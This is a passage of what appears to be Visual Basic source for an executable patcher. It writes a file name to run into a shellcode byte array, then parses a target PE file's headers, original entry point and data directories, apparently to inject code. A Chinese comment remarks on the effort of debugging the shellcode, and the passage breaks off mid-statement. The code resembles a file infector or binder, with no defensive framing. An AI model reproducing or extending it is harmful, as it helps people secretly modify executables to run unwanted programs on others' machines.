ElseIf Len(strRunFile) = 4 Then
        
         For i = 1 To 4

               PatchCode(113 + i) = "&H" & Hex(Asc(Mid(strRunFile, i, 1)))
              
               PatchCode(109) = &H0
     
         Next
        
    Else
       
         For i = 1 To Len(strRunFile)
              
               PatchCode(113 + i) = "&H" & Hex(Asc(Mid(strRunFile, i, 1)))
              
         Next
        
         PatchCode(114 + Len(strRunFile)) = &H0
        
End If

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''修改Shellcode完毕，累死我了调试了N次，光发晕

ReDim PE(FileLen(strTargetFile) - 1)  '重定义PE的大小
   
Open strTargetFile For Binary As #1  '读取PE
Get #1, , PE
Close #1
   

e_lfanew = ReadDword(&H3C&)

NumberOfSections = ReadWord(e_lfanew + 6)
   
   
SizeOfOptionalHeader = ReadWord(e_lfanew + &H14&)
   
AddressOfEntryPoint = ReadWord(e_lfanew + &H28&) '原入口点

If SizeOfOptionalHeader >= &H60& Then
        NumberOfRvaAndSizes = ReadDword(e_lfanew + &H74&)
   Else
        NumberOfRvaAndSizes = 0
End If
   
If NumberOfRvaAndSizes > 16 Then NumberOfRvaAndSizes = 16

If NumberOfRvaAndSizes > (SizeOfOptionalHeader - &H60&) \ 8 Then NumberOfRvaAndSizes = (SizeOfOptionalHeader - &H60&) \ 8

NumberOfRvaAndSizes = NumberOfRvaAndSizes - 1
   
EncStart = 0: EncEnd = &H7FFFFFFF
    For i = 0 To NumberOfRvaAndSizes
        p = ReadDword(e_lfanew + &H78& + i * 8)
        q = p + ReadDword(e_lfanew + &H7C& + i * 8)
       
        If p < 0 Or p > q Then
            Exit Function
        ElseIf p < AddressOfEntryPoint And q < AddressOfEntryPoint Then